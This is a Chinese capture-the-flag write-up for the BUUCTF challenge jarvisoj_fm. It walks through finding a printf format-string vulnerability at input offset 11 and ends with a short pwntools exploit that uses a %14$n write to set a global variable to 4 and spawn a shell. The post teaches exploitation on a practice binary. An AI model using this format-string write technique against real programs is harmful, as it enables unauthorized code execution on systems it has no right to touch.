buuctf【jarvisoj_fm】解题

拿到例题之后先查看一下保护
在这里插入图片描述
发现开启Canary(金丝雀),NX(栈不可执行),未开启地址随机化(PIE)
脱入ida查看伪代码发现当x等于4的时候执行/bin/sh
在这里插入图片描述
x的地址为0x0804A02C
在这里插入图片描述

发现格式化字符串漏洞,read函数读取用户输入,prinrf打印用户输入,导致printf参数可控
在这里插入图片描述脱入gdb查看输入在栈上偏移
在0x080485C4的位置上下断点在这里插入图片描述发现用户输入的偏移位置是11
在这里插入图片描述在这里插入图片描述

当前已知:程序存在格式化字符串漏洞
当x=4时执行/bin/sh
x的地址为0x0804A02C
用户输入在栈上的偏移位置是11

编写exp

from pwn import *
p=process('fm')
#p=remote('node5.buuoj.cn',28553)
x_addr=0x0804A02C
payload="aaaa"+"%14$"+"naaa"+p32(x_addr).decode('unicode_escape')
p.sendline(payload)
p.interactive()

说一下为什么这里偏移变成了14,aaaa是第11个,%14$是第12个,naaa是第13个,x_addr就是第14个了
运行exp,x的值已经变为4执行/bin/sh,getshell
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值